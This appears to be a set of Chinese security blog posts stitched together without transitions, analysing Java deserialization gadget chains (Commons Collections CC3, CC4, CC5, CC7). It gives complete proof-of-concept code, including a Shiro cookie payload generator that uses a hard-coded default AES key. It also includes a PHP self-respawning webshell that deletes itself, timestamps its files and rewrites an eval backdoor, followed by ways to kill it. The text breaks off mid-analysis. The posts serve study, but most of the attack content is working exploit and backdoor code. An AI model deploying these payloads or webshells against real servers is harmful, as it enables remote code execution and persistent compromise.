import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package shiroatack;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(shiroatack.Evil.class.getName());
        byte[] payloads = new CCShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

通过Client.java生成payload(别忘了写个Evil类用来获取字节码)

这里用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 

图片

前言

CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get

利用链

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

利用链分析

看到Hashtable#readObject,循环调用了reconstitutionPutelements为传入的元素个数

图片
key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的

图片

图片

跟进reconstitutionPut

图片

图片

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;

那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;

第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;

继续跟进到AbstractMapDecorator#equals,这里的map是可控的

图片

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE

图片

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE
图片

所以这里构造一个fakeTransformers,里面为空就行;

代码2

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等

然后将这两个LazyMap类对象put进Hashtable类对象;

代码3

1
2
3
4
5
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers
最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key

图片

导致进入下面的if判断,直接返回false,不再执行后面的代码图片

这里继续解释一下几个细节点:

  • 为什么要调用两次put?
    在第一次调用reconstitutionPut时,会把key和value注册进table中

图片

图片

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因

  • 为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
    这是因为HashTable#put实际上也会调用到equals方法

图片

当调用完equals方法后,map2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例

图片

这个实例并没有继承Serializable,所以是无法被序列化存进去的,如果我们不进行remove,则会报出这样一个错误

图片

所以我们需要将这个yy键-值给移除掉,从这里也能明白,实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令,就需要把这个键给移除掉

前言

分析过CC1就很容易看懂CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前置知识

CC5中涉及到两个新的类,这里先介绍一下

TiedMapEntry

图片

图片

该类有两个参数,一个Map类型,一个Object类型;

后面我们会使用到它的getValuetoString方法

BadAttributeValueExpException

图片

图片

该类只有一个val参数

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;
图片

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法

图片

继续找哪里调用了toString()方法;

BadAttributeValueExpException.readObject()调用了toString()方法

图片

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;

所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;

即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件

下面解释一些细节的问题:

  • 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
    以下为BadAttributeValueExpException的构造方法
1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

可以发现,如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
图片

内存马原理:

php内存马即不死马。简单来说就是写进php进程里,不断在指定目录生成木马文件

生成过程

不死马.php → 上传到服务器 → 服务器执行文件 → 服务器本地循环不断生成一句话木马

不死马

初代

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2021-8-11 12:45:00" . 2.php');
    usleep(5000);

?>
  1. ignore_user_abort(true);函数设置与客户机断开是否会终止脚本的执行。这里设置为true则忽略与用户的断开,即使与客户机断开脚本仍会执行。
  2. set_time_limit()函数限制脚本的执行时间(如设置5则需在5秒内执行完)。这里设置为0是指没有时间限制。
  3. unlink(FILE)删除文件本身,以起到隐蔽自身的作用。
  4. while循环内每隔usleep(5000)即写新的后门文件
  5. system()执行的命令用于修改文件的创建或修改时间,touch新建一个不存在的文件,-m仅修改时间,-d使用想要修改的时间而不是当时的时间,可以绕过“find –name ‘*.php’ –mmin -10”命令检测最近10分钟修改或新创建的PHP文件,但不一定有用,可选。
  6. md5算是混淆,也是防止直接被别人利用
    这里while 里面只是并没有判断了这个文件是不是存在,那么我只需要把这个文件中的 shell 注释掉就可以绕过这个内存木马了。

修改后

1
2
3
4
5
6
7
8
9
10
11
12
<?php
 ignore_user_abort(true);
 set_time_limit(0);
 $file = 'c.php';
 $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+');
 while(true) {
     if(md5(file_get_contents($file))===md5($code)) {
         file_put_contents($file, $code);
     }
     usleep(50);
 }
?>

对加密的一句话木马进行解密,可防止通过命令搜索,while中md5加密后直接执行一句话木马的编写

查杀方法

1.重启服务

众所周知,重启能解决90%的问题,内存马也是存在于进程之中,所以条件允许的话直接重启服务便是了

2.占用目录名

删除并重新创建一个和不死马要生成的马名字一样的路径及文件

3.kill

ps aux 列出所有进程,找到要杀掉的进程运用命令

kill -9 -1 进程名  9:杀死一个进程 1:重新加载进程

4.竞争删除一句话木马

编写一个使用ignore_user_abort(true)函数的脚本,一直竞争写入删除不死马文件,其中usleep()的时间必须要小于不死马的usleep()时间才会有效果

1
2
3
4
5
6
7
8
9
10
<?php
ignore_user_abort(true);
set_time_limit(0);
while (1) {
    $pid = 不死马的进程PID;
    @unlink(".1.php");
    exec("kill -9 $pid");
    usleep(1000);
    }
?>

前言

CC4相当于是CC2和CC3的结合,只要熟悉前面几条链了,这条链也就很容易看懂了;

CC4和CC2一样是通过调用TransformingComparator.compare()来实现transform()的调用;

和CC3一样是通过实例化TrAXFilter类,然后调用它的构造方法,进而实现newTransformer()的调用

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
使用javassit创建一个类,这个类中包含static代码块,其中包含恶意命令执行代码,只要实例化这个类,就会执行static中的代码;

最后把该类转换为字节码存到targetByteCodes数组中;

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

代码2
实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);

代码3
TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

图片

图片

代码4

实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,因为在PriorityQueue.heapify()中,size的值需要大于1才能进入下一步;(CC2中有说到)

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

图片

代码7

通过反射给queue的comparator参数赋值,从而调用到compare()方法,实现transform()的调用;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

POC调试

还是从PriorityQueue.readObject()开始;

queue[]里面是我们传入的TemplatesImpl类的实例化对象和整数1

图片

跟进heapify(),size值为2;

图片

跟进siftDown,comparator参数不为null

图片

跟进siftDownUsingComparator,调用了compare()

图片

跟进compare()obj1就是传入的templates,this.transformerChainedTransformer的实例化对象,也就是调用了ChainedTransformer.transform()

图片

跟进ChainedTransformer.transform(),进入循坏;

第一轮iTransformer参数值为ConstantTransformer,即调用了ConstantTransformer.transform()

图片

跟进ConstantTransformer.transform()iConstant参数值为传入的TrAXFilter.class,即返回了TrAXFilter

图片

回到ConstantTransformer.transform()进入第二轮循环,这次的iTransformer参数值为InstantiateTransformer,object参数值为TrAXFilter

图片

跟进InstantiateTransformer.transform(),返回TrAXFilter类对象

图片

在实例化TrAXFilter类时,调用了它的构造方法,其中调用了templates.newTransformer()

图片

前言

仔细分析过CC1和CC2来看CC3就会好容易理解一点

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()

前置知识

cc2里我们需要通过TemplatesImpl#newTransformer来实现命令执行,在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer

CC3中会用到两个新的类,这里先介绍一下:

TrAXFilter

图片

图片

在该类的构造方法中,调用了传入参数的newTransformer()方法,看到这个方法有点熟悉了,可以实现命令执行,并且参数可控;

CC2中,就是在InvokerTransformer.transform()中通过反射调用TemplatesImpl.newTransformer()方法,而CC3中,就可以直接使用TrAXFilter来调用newTransformer()方法

InstantiateTransformer

该类实现了TransformerSerializable接口

图片

在它的transform()方法中,判断了input参数是否为Class,若是Class,则通过反射实例化一个对象并返回;

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package blckder02;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static void main(String[] args) throws Exception {

//使用Javassit新建一个含有static的类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

//补充实例化新建类所需的条件
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

//实例化新建类
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

//调用get()中的transform方法
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

//设置代理,触发invoke()调用get()方法
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

InvocationHandler handler2 = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3.bin"));
outputStream.writeObject(handler2);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1

1
2
3
4
5
6
7
8
9
10
11
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
cc.writeFile();
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

使用javassit创建一个类,这个类中包含static代码块,其中包含命令执行代码,只要实例化这个类,就会执行static中的代码;
最后把该类转换为字节码存到targetByteCodes数组中;

代码2

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

实例化一个 TemplatesImpl类对象,给一些参数赋值,赋值原因CC2中说明了原因;
代码3

1
2
3
4
5
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);

这里有一些不一样,将TrAXFilter.class传给ConstantTransformer,那么就会返回TrAXFilter类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter类,然而调用它的构造方法,进而调用newTransformer()方法,从而实现命令执行;
然后就是要找到调用ChainedTransformer.transform()的地方,才能对transformers 数组进行回调

代码4

1
2
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap)LazyMap.decorate(innermap,transformerChain);

new了一个LazyMap的对象,LazyMap的get()方法调用了transform()方法,factory参数就是传入的transformerChain,达到了代码3的条件;
图片

接着就是要找一个调用get()的地方,

代码5

1
2
3
4
5
6
7
8
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler1);

